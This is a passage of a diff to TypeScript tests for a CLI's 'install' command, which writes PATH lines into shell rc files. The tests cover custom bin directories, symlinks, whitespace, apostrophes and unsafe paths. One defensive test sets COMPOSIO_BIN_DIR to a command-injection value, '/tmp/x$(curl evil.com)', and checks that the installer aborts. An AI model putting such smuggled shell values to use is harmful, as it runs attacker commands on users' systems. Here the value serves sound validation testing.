.bashrc already carries the exact current line, so it is untouched.+ expect(yield* fs.readFileString(bashrcPath)).toBe(+ `# Composio CLI\nexport PATH="${binDir}:$PATH"\n`+ );+ }));});});describe('[When] COMPOSIO_BIN_DIR is set to a custom directory', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] --shell zsh writes a PATH line for the custom directory', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -806,7 +940,7 @@ describe('CLI: composio install', () => {});describe('[When] COMPOSIO_BIN_DIR is whitespace-only', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] it is treated as unset, not as a literal bin dir', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -825,7 +959,7 @@ describe('CLI: composio install', () => {});describe('[When] COMPOSIO_BIN_DIR has surrounding whitespace around a real value', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] the surrounding whitespace is trimmed before it is used', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -843,7 +977,9 @@ describe('CLI: composio install', () => {});describe('[When] COMPOSIO_BIN_DIR is unset and ~/.local/bin/composio is the running executable', () => {- layer(TestLive())(it => {+ layer(+ TestInstallLive({ execPath: homedir => path.join(homedir, '.local', 'bin', 'composio') })+ )(it => {it.scoped('[Then] the PATH line targets ~/.local/bin via a literal $HOME prefix', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -855,7 +991,7 @@ describe('CLI: composio install', () => {yield* fs.makeDirectory(localBinDir, { recursive: true });yield* fs.writeFileString(localBinComposio, '#!/bin/sh\n');- yield* install({ execPath: localBinComposio });+ yield* install();const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));expect(contents).toContain('export PATH="$HOME/.local/bin:$PATH"');@@ -865,8 +1001,27 @@ describe('CLI: composio install', () => {});});+ describe('[When] the resolved bin dir contains an apostrophe', () => {+ layer(TestInstallLive({ execPath: () => "/opt/o'brien/bin/composio" }))(it => {+ it.scoped("[Then] it is written verbatim, since `'` is literal inside double quotes", () =>+ Effect.gen(function* () {+ const os = yield* NodeOs;+ const fs = yield* FileSystem.FileSystem;+ vi.stubEnv('SHELL', '/bin/zsh');++ yield* install();++ const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));+ expect(contents).toContain(`export PATH="/opt/o'brien/bin:$PATH"`);+ })+ );+ });+ });+describe('[When] ~/.local/bin/composio is a symlink chain to the running executable', () => {- layer(TestLive())(it => {+ layer(+ TestInstallLive({ execPath: homedir => path.join(homedir, '.composio-dist', 'composio') })+ )(it => {it.scoped('[Then] the PATH line still targets ~/.local/bin', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -883,7 +1038,7 @@ describe('CLI: composio install', () => {yield* fs.symlink(execFile, intermediateLink);yield* fs.symlink(intermediateLink, path.join(localBinDir, 'composio'));- yield* install({ execPath: execFile });+ yield* install();const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));expect(contents).toContain('export PATH="$HOME/.local/bin:$PATH"');@@ -893,7 +1048,7 @@ describe('CLI: composio install', () => {});describe('[When] ~/.local/bin/composio is a foreign program (e.g. a leftover pip install)', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] the PATH line targets the running executable directory instead', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -916,7 +1071,9 @@ describe('CLI: composio install', () => {});describe('[When] COMPOSIO_BIN_DIR is set and ~/.local/bin/composio is also the running executable', () => {- layer(TestLive())(it => {+ layer(+ TestInstallLive({ execPath: homedir => path.join(homedir, '.local', 'bin', 'composio') })+ )(it => {it.scoped('[Then] the env var wins over the ~/.local/bin fallback', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -929,7 +1086,7 @@ describe('CLI: composio install', () => {yield* fs.makeDirectory(localBinDir, { recursive: true });yield* fs.writeFileString(localBinComposio, '#!/bin/sh\n');- yield* install({ execPath: localBinComposio });+ yield* install();const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));expect(contents).toContain('export PATH="/custom/bin:$PATH"');@@ -940,7 +1097,7 @@ describe('CLI: composio install', () => {});describe('[When] COMPOSIO_BIN_DIR is unset and ~/.local/bin has no composio entry point', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] the PATH line targets the real binary directory', () =>Effect.gen(function* () {const os = yield* NodeOs;@@ -957,12 +1114,12 @@ describe('CLI: composio install', () => {});});- describe('[When] COMPOSIO_BIN_DIR contains shell metacharacters', () => {- layer(TestLive())(it => {+ describe('[When] COMPOSIO_BIN_DIR contains characters that expand inside double quotes', () => {+ layer(TestInstallLive())(it => {it.scoped('[Then] aborts with an error', () =>Effect.gen(function* () {vi.stubEnv('SHELL', '/bin/zsh');- vi.stubEnv('COMPOSIO_BIN_DIR', '/tmp/x; curl evil.com');+ vi.stubEnv('COMPOSIO_BIN_DIR', '/tmp/x$(curl evil.com)');const error = yield* install().pipe(Effect.flip);expect(error).toBeInstanceOf(ShellSetupAbortError);@@ -978,7 +1135,7 @@ describe('CLI: composio install', () => {});describe('[When] COMPOSIO_BIN_DIR is relative', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] aborts instead of persisting a relative PATH entry', () =>Effect.gen(function* () {vi.stubEnv('SHELL', '/bin/zsh');@@ -996,7 +1153,7 @@ describe('CLI: composio install', () => {});describe('[When] COMPOSIO_BIN_DIR contains a PATH delimiter', () => {- layer(TestLive())(it => {+ layer(TestInstallLive())(it => {it.scoped('[Then] aborts instead of persisting multiple PATH entries', () =>Effect.gen(function* () {vi.stubEnv('SHELL', '/bin/zsh');@@ -1015,12 +1172,12 @@ describe('CLI: composio install', () => {});describe('[When] the runtime executable resolves to an unsafe directory', () => {- layer(TestLive())(it => {+ layer(TestInstallLive({ execPath: () => '/tmp/we`ird/composio' }))(it => {it.scoped('[Then] reports an origin-neutral error', () =>Effect.gen(function* () {vi.stubEnv('SHELL', '/bin/zsh');- const error = yield* install({ execPath: "/tmp/o'brien/composio" }).pipe(Effect.flip);+ const error = yield* install().pipe(Effect.flip);expect(error).toBeInstanceOf(ShellSetupAbortError);const output = (yield* MockConsole.getLines()).join('\n');